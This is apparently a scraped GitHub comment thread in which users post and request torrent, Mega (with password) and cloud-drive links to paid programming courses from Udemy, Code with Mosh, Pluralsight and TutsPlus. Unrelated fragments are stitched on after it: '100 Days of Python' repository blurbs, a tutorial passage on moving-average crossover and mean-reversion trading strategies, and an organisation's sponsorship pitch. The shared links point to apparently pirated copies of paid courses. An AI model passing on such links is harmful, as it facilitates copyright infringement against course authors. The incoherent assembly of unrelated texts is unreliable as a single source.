http://www.seedpeer.me/details/6593486/TutsPlus---Less-is-More.html http://www.seedpeer.me/details/6571637/TutsPlus---Modern-Testing-in-PHP-with-Codeception.html http://www.seedpeer.me/details/6095651/Tutsplus---Parallax-Scrolling-for-Web-Design.html http://www.seedpeer.me/details/6574591/TutsPlus---Say-Yo-to-Yeoman.html http://www.seedpeer.me/details/4811335/Tutsplus---Test-Driven-Development-in-Ruby.html http://www.seedpeer.me/details/6268980/TutsPlus-Test-Driven-Development-With-CoffeeScript-and-Jasmine.html http://www.seedpeer.me/details/6185755/TutsPlus---The-MVC-Mindser-Jeffery-Way---ICARUS.html http://www.seedpeer.me/details/5024493/TutsPlus---Venture-Into-Vim.html http://www.seedpeer.me/details/6286416/Tutsplus---Vim-for-Advanced-Users.html http://www.seedpeer.me/details/6585031/Tutsplus---WordPress-Hackers-Guide-to-the-Galaxy.html http://www.seedpeer.me/details/4848477/TutsPlus---Writing-Modular-JavaScript.html @giansalex Owner Author giansalex commented on 26 Feb 2018 • SOLID http://www.allitebooks.com/beginning-solid-principles-and-design-patterns-for-asp-net-developers/ @giansalex Owner Author giansalex commented on 7 Mar 2018 Udemy: AWS Arquitecto de Soluciones Certificado Asociado https://mega.co.nz/#!ZzhGWSAL!wuthFca0SdJBjmaP5lFX0QF6PeMsrdclKFXlZL1Rsi4 Pass: gratismas.org @giansalex Owner Author giansalex commented on 7 Mar 2018 Go lang Complete https://www.freetutorials.us/wp-content/uploads/2017/11/FreeTutorials.Us-Udemy-go-the-complete-developers-guide.torrent @GCPBigData GCPBigData commented on 15 Jul 2018 go books https://drive.google.com/open?id=1d6OsFAn8kpHCXtw0bcoYuyHqrAdGZva0 @freisrael freisrael commented on 14 Aug 2018 giansalex thanks for sharing. I am looking for learning phython with Joe Marini. It would be great if you post it. @FirstBoy1 FirstBoy1 commented on 25 May 2019 Can anyone provide this book "Getting started with Spring Framework: covers Spring 5" by " J Sharma (Author), Ashish Sarin ". Thanks in advance @okreka okreka commented on 31 May 2019 Can anyone provide "Windows Presentation Foundation Masterclass" course from Udemy. Thanks in advance @singhaltanvi singhaltanvi commented on 8 Aug 2019 can anyone provide 'sedimentology and petroleum geology' course from Udemy. Thanks in advance. @kumarsreenivas051 kumarsreenivas051 commented on 9 Sep 2019 Can anyone provide "Programming languages A,B and C" course from Coursera. Thanks in advance. @BrunoMoreno BrunoMoreno commented on 11 Sep 2019 The link for the torrents in piratebay, now is .org to the correct url. @sany2k8 sany2k8 commented on 24 Sep 2019 Can anyone add this The Complete Hands-On Course to Master Apache Airflow @pharaoh1 pharaoh1 commented on 30 Sep 2019 can you pls add this course to your list https://www.udemy.com/course/advanced-python3/ @SushantDhote936 SushantDhote936 commented on 1 Oct 2019 Can you add Plural Sight CISSP @allayGerald allayGerald commented on 1 Oct 2019 open directive for lynda courses: https://drive.google.com/drive/folders/1zQan1cq1ZnqXmueRF5IqKoOtpFxl6Y4G @ezekielskottarathil ezekielskottarathil commented on 3 Oct 2019 can anyone provide 'sedimentology and petroleum geology' course from Udemy. Thanks in advance. "wrong place boy" @pulkitd2699 pulkitd2699 commented on 8 Oct 2019 Does anyone has a link for 'Cyber security: Python and web applications' course? Thanks @mohanrajrc mohanrajrc commented on 19 Oct 2019 • Can anyone provide torrent file for Mastering React By Mosh Hamedani. Thanks https://codewithmosh.com/p/mastering-react @evilprince2009 evilprince2009 commented on 27 Oct 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 @nunusandio nunusandio commented on 30 Oct 2019 Can anyone post torrent file for ASP.NET Authentication: The Big Picture https://app.pluralsight.com/library/courses/aspdotnet-authentication-big-picture/table-of-contents @EslamElmadny EslamElmadny commented on 9 Dec 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? @Genius-K-SL Genius-K-SL commented on 14 Dec 2019 hay brother! do you have html5 game development with javascript course ? @Genius-K-SL Genius-K-SL commented on 14 Dec 2019 This link is not working brother! http://www.seedpeer.me/details/4657790/Lynda.com-Building-Facebook-Applications-with-HTML-and-JavaScript.html @smithtuka smithtuka commented on 20 Dec 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? @AbdOoSaed AbdOoSaed commented on 22 Dec 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff @EslamElmadny EslamElmadny commented on 23 Dec 2019 • Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj @jedi2610 jedi2610 commented on 27 Dec 2019 Can anyone provide me with Code with Mosh's Ultimate Java Mastery Series link? plis @InnocentZaib InnocentZaib commented on 31 Dec 2019 Please provide the link of codewithmosh The ultimate data structures and algorithms Bundle the link is given below. Please give me the torrnet file or link to download https://codewithmosh.com/p/data-structures-algorithms @edward-teixeira edward-teixeira commented on 1 Jan 2020 Please provide the link of codewithmosh The ultimate data structures and algorithms Bundle the link is given below. Please give me the torrnet file or link to download https://codewithmosh.com/p/data-structures-algorithms Yea i'm looking for it too @kaneyxx kaneyxx commented on 1 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj could you please share the part-1 & part-3? @edward-teixeira edward-teixeira commented on 2 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? @ravisharmaa ravisharmaa commented on 7 Jan Please add this . https://www.letsbuildthatapp.com/course/AppStore-JSON-APIs @WaleedAlrashed WaleedAlrashed commented on 13 Jan This one kindly. https://www.udemy.com/course/flutter-build-a-complex-android-and-ios-apps-using-firestore/ @Sopheakmorm Sopheakmorm commented on 19 Jan Anyone have this course: https://www.udemy.com/course/mcsa-web-application-practice-test70-480-70-483-70-486 @EslamElmadny EslamElmadny commented on 19 Jan Anyone have this course: https://www.udemy.com/course/mcsa-web-application-practice-test70-480-70-483-70-486 +1 @EslamElmadny EslamElmadny commented on 20 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? https://vminhsang.name.vn/category/it-courses/codewithmosh/ this link includes almost all mosh courses @mohanrajrc mohanrajrc commented on 22 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? https://vminhsang.name.vn/category/it-courses/codewithmosh/ this link includes almost all mosh courses Yes. Java mastery and Data Structures 1, 2, 3 are available in this site. free download. @shihab122 shihab122 commented on 22 Jan Please give me the torrnet file or link to download The Ultimate Design Patterns @EslamElmadny EslamElmadny commented on 22 Jan • Please give me the torrnet file or link to download The Ultimate Design Patterns Waiting for it also :D @K-wachira K-wachira commented on 23 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? https://vminhsang.name.vn/category/it-courses/codewithmosh/ this link includes almost all mosh courses Yes. Java mastery and Data Structures 1, 2, 3 are available in this site. free download. You are a saviour .. Altho i feel bad i cant really buy the course... its really good @msdyn95 msdyn95 commented 25 days ago • Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ @K-wachira K-wachira commented 23 days ago This one kindly. https://www.udemy.com/course/flutter-build-a-complex-android-and-ios-apps-using-firestore/ Hey did you find this one? @edward-teixeira edward-teixeira commented 22 days ago Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ Did you find those? @msdyn95 msdyn95 commented 21 days ago Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ Did you find those? unfortunately not. @edward-teixeira edward-teixeira commented 20 days ago Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ Did you find those? unfortunately not. Found it ! https://vminhsang.name.vn/category/it-courses/codewithmosh/ @ZainA14 ZainA14 commented 16 days ago • Can someone please link me to this mosh course for torrent or direct download link https://codewithmosh.com/p/the-ultimate-full-stack-net-developer-bundle @khushiigupta khushiigupta commented 9 days ago Can any one please provide me link for jenkins so that I can learn as al as possible to join this conversation on GitHub. Already have an account? Sign in to comment © 2020 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About

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Daily projects for Dr. Angela Yu's 100 Days of Python Code Udemy Course.

Python - N 天从新手到大师👩‍💻 学习笔记📒

trading strategy is a fixed plan to go long or short in markets, there are two common trading strategies: the momentum strategy and the reversion strategy. Firstly, the momentum strategy is also called divergence or trend trading. When you follow this strategy, you do so because you believe the movement of a quantity will continue in its current direction. Stated differently, you believe that stocks have momentum or upward or downward trends, that you can detect and exploit. Some examples of this strategy are the moving average crossover, the dual moving average crossover, and turtle trading: The moving average crossover is when the price of an asset moves from one side of a moving average to the other. This crossover represents a change in momentum and can be used as a point of making the decision to enter or exit the market. You’ll see an example of this strategy, which is the “hello world” of quantitative trading later on in this tutorial. The dual moving average crossover occurs when a short-term average crosses a long-term average. This signal is used to identify that momentum is shifting in the direction of the short-term average. A buy signal is generated when the short-term average crosses the long-term average and rises above it, while a sell signal is triggered by a short-term average crossing long-term average and falling below it. Turtle trading is a popular trend following strategy that was initially taught by Richard Dennis. The basic strategy is to buy futures on a 20-day high and sell on a 20-day low. Secondly, the reversion strategy, which is also known as convergence or cycle trading. This strategy departs from the belief that the movement of a quantity will eventually reverse. This might seem a little bit abstract, but will not be so anymore when you take the example. Take a look at the mean reversion strategy, where you actually believe that stocks return to their mean and that you can exploit when it deviates from that mean. That already sounds a whole lot more practical, right? Another example of this strategy, besides the mean reversion strategy, is the pairs trading mean-reversion, which is similar to the mean reversion strategy. Whereas the mean reversion strategy basically stated that stocks return to their mean, the pairs trading strategy extends this and states that if two stocks can be identified that have a relatively high correlation, the change in the difference in price between the two stocks can be used to signal trading events if one of the two moves out of correlation with the other. That means that if the correlation between two stocks has decreased, the stock with the higher price can be considered to be in a short position. It should be sold because the higher-priced stock will return to the mean. The lower-priced stock, on the other hand, will be in a long position because the price will rise as the correlation will return to normal. Besides these two most frequent strategies, there are also other ones that you might come across once in a while, such as the forecasting strategy, which attempts to predict the direction or value of a stock, in this case, in subsequent future time periods based on certain historical factors. There’s also the High-Frequency Trading (HFT) strategy, which exploits the sub-millisecond market microstructure. That’s all music for the future for now; Let’s focus on developing your first trading strategy for now! A Simple Trading Strategy As you read above, you’ll start with the “hello world” of quantitative trading: the moving average crossover. The strategy that you’ll be developing is simple: you create two separate Simple Moving Averages (SMA) of a time series with differing lookback periods, let’s say, 40 days and 100 days. If the short moving average exceeds the long moving average then you go long, if the long moving average exceeds the short moving average then you exit. Remember that when you go long, you think that the stock price will go up and will sell at a higher price in the future (= buy signal); When you go short, you sell your stock, expecting that you can buy it back at a lower price and realize a profit (= sell signal). This simple strategy might seem quite complex when you’re just starting out, but let’s take this step by step: First define your two different lookback periods: a short window and a long window. You set up two variables and assign one integer per variable. Make sure that the integer that you assign to the short window is shorter than the integer that you assign to the long window variable! Next, make an empty signals DataFrame, but do make sure to copy the index of your aapl data so that you can start calculating the daily buy or sell signal for your aapl data. Create a column in your empty signals DataFrame that is named signal and initialize it by setting the value for all rows in this column to 0.0. After the preparatory work, it’s time to create the set of short and long simple moving averages over the respective long and short time windows. Make use of the rolling() function to start your rolling window calculations: within the function, specify the window and the min_period, and set the center argument. In practice, this will result in a rolling() function to which you have passed either short_window or long_window, 1 as the minimum number of observations in the window that are required to have a value, and False, so that the labels are not set at the center of the window. Next, don’t forget to also chain the mean() function so that you calculate the rolling mean. After you have calculated the mean average of the short and long windows, you should create a signal when the short moving average crosses the long moving average, but only for the period greater than the shortest moving average window. In Python, this will result in a condition: signals['short_mavg'][short_window:] > signals['long_mavg'][short_window:]. Note that you add the [short_window:] to comply with the condition “only for the period greater than the shortest moving average window”. When the condition is true, the initialized value 0.0 in the signal column will be overwritten with 1.0. A “signal” is created! If the condition is false, the original value of 0.0 will be kept and no signal is generated. You use the NumPy where() function to set up this condition. Much the same like you read just now, the variable to which you assign this result is signals['signal'][short_window], because you only want to create signals for the period greater than the shortest moving average window! Lastly, you take the difference of the signals in order to generate actual trading orders. In other words, in this column of your signals DataFrame, you’ll be able to distinguish between long and short positions, whether you’re buying or selling stock.

100 Days of Code with project : The Complete Python Pro Bootcamp

This repository tracks my progress through Dr. Angela Yu's 100 Days of Code: The Complete Python Pro Bootcamp for 2023 course.

Python进阶100天

Technocolabs is an Organization followed by Technical experts in leading technologies such as Python, Machine learning, Java, C , C++ and Data Science etc. Technocolabs has Start an initiative Programs called 100 Days of Code for students wants to grow technical Skills in Technologies with the mentor-ship by technical experts. The Program is followed by Online and In this Program of 100 Days of Code is absolutely free there is no cost of mentor-ship taking by mentors. In this 100 Days of Code students can learn about advanced to Basic concepts of Programming in Data Structures and Algorithms. As per our Organization request we wants you to offer Sponsorship and Technology Partner with Technocolabs . We are achieve with your support and learning activities in 100 Days for students learning Journey.